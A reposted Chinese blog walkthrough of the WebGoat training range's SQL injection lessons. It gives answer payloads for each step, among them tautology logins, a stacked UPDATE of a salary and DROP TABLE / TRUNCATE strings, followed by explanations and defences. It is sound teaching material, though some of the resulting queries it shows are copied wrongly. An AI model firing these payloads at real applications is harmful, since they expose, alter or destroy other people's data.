0


基于 WebGoat 平台的 SQL 注入攻击

基于 WebGoat 平台的 SQL 注入攻击

扩展功能参考: https://blog.csdn.net/HZC0217/article/details/126790211

使用实例参考: https://www.cnblogs.com/hndreamer/p/16635984.html

1、什么是 webgoat?

一个基于 java 常见漏洞的靶场,非常适合初学者学习。

2、jar 下载

下载地址:https://github.com/WebGoat/WebGoat/releases

这里当靶场用,选 webgoat-server-8.2.2.jar 就够了。webwolf 需要在

webgoat-server-8.2.2.jar 运行的情况下才能正常使用,可以模拟攻击者配合本地

主机对 webgoat 进行攻击。

3、环境搭建

我们需要先安装 java 环境,这里直接进入官网下载即可

https://www.oracle.com/java/technologies/downloads/#jdk18-windows

下载 java jdk 17以上的版本

WIN+R,打开cmd,输入java -version查看电脑中java的版本号

4、运行 webgoat

    启 动 非 常 简 单 , 只 需 要 通 过 命 令 行 界 面 ( Dos 界 面 ) 在 保 存有 “webgoat-server-8.2.2.jar”文件的所在目录

输入java -jar webgoat-server-8.2.2.jar 即可

java -jar webgoat-server-8.2.2.jar

默认的登录地址是 http://127.0.0.1:8080/WebGoat,我们可以在命令提示符窗口看到

5、在浏览器中登录

浏览器输入:http://127.0.0.1:8080/WebGoat

http://127.0.0.1:8080/WebGoat

这里需要用户名和密码,我们直接点击 Register new user 注册一个新用户

注册完毕后登录

*6、SQL 注入实验,完成(A1***Injection ********系列实验中的 ********SQL Injection (intro)****部分

** 步骤 9 之前用到的 SQL 命令参考如下: **

SELECT department FROM employees WHERE first_name='Bob' AND last_name='Franco'
UPDATE employees SET department='Sales' WHERE first_name='Tobi' AND last_name='Barnett'
ALTER TABLE employees ADD phone varchar(20)

**尝试将表 grant_rights 的权限授予用户 unauthorized_user: **

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user

第九题:

Smith' or '1'='1

第十题:

1 
1 or 1=1

第十一题:

name' or '1'='1

第十二题:

再根据题目需要注入sql:

name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+

第十三题:

1';DROP TABLE access_log;--+

7、问题思考

****1 举例说明 ********SQL ****注入攻击发生的原因

    当来自客户机的未过滤数据(例如来自搜索字段的输入)进入应用程序本身的SQL解释器时,可能会发生SQL注入。如果应用程序不能正确地消毒用户输入(使用准备好的语句或类似的方法)或针对特殊字符对输入进行过滤,黑客就可以操纵底层SQL语句以达到他们的目的。

例如:

从数据库中检索用户信息的SQL查询如下:

"SELECT * FROM users WHERE name = ' " + userName + " ' ";

(1)输入:

Smith' OR '1' = '1

** Sql语句此时为:**SELECT * FROM users WHERE name = 'Smith' OR TRUE;

** 结果**将返回users表中的所有条目

(2)输入:

Smith' OR 1 = 1; --

** Sql语句此时为:**SELECT * FROM users WHERE name = 'Smith' OR TRUE;

** 结果**与第一个示例一样,它也将返回users表中的所有条目

(3)输入:

Smith'; DROP TABLE users; TRUNCATE audit_log; --

** Sql语句此时为:**SELECT * FROM users WHERE name = 'Smith' OR TRUE;

** 结果**将链接多个sql命令,以便同时DROP users表和从audit_log表中删除所有条目

****2、从信息的 ********CIA ********三要素出发,举例说明 ********SQL ********注入攻击造成的破坏 ****

(1)CIA三要素的第一项原则是保密性(Confidentiality)保密性是通过什么样的手段可以保护数据、对象、资源机密性的概念,保密性的目的是限制组织未授权用户访问数据。

例如:使用字符串SQL注入损害机密性。

已知这个系统执行请求的查询语句是这样的:

"SELECT * FROM employees WHERE last_name = ' " + name + " ' AND auth_tan = ' " + auth_tan + " ' ";

利用这个系统,破坏保密性查看到所有人的数据信息,可以这样设置sql注入:

(2)CIA三要素的第二项原则是完整性(Integrity)完整性用来描述保护数据的可靠性和正确性。完整性保证没有未授权的用户修改数据。

例如:用查询链接破坏完整性。

首先获取表内信息

** 再根据需要,使用查询链接破坏完整性,注入sql,将薪资改为9999999**

name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+

(3)CIA三要素的第三项原则是可用性(Availablity)可用性表示可以及时给用户授权,资源的访问不间断。

    违反可用性有许多不同的方法。删除帐户或修改密码后,该帐户的实际所有者将无法再访问该帐户。攻击者还可以尝试删除数据库的部分内容,甚至删除整个数据库,以使数据无法访问。撤销管理员或其他用户的访问权限是降低可用性的另一种方式;这将阻止这些用户访问数据库的特定部分甚至整个数据库。

例如:违反可用性删除日志。

1';DROP TABLE access_log;--+

****3、怎样预防和避免 ********SQL ****注入攻击。

    SQL注入攻击可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。  

1、不要使用动态SQL

    避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询,这样更安全。

2、不要将敏感数据保留在纯文本中

    加密存储在数据库中的私有/机密数据;这样可以提供了另一级保护,以防攻击者成功地排出敏感数据。

3、限制数据库权限和特权

    将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。

4、避免直接向用户显示数据库错误

    攻击者可以使用这些错误消息来获取有关数据库的信息。

5、使用Web应用程序防火墙(WAF)

    这为面向Web的应用程序提供了保护,它可以帮助识别SQL注入尝试;根据设置,它还可以帮助防止SQL注入尝试到达应用程序(以及数据库)。

6、定期测试与数据库交互的Web应用程序

    这样做可以帮助捕获可能允许SQL注入的新错误或回归。

7、将数据库更新为最新的可用修补程序

    这可以防止攻击者利用旧版本中存在的已知弱点/错误。
标签: sql java 数据库

本文转载自: https://blog.csdn.net/Labulongdong/article/details/127399339
版权归原作者 拉不隆东 所有, 如有侵权,请联系我们删除。

“基于 WebGoat 平台的 SQL 注入攻击”的评论:

还没有评论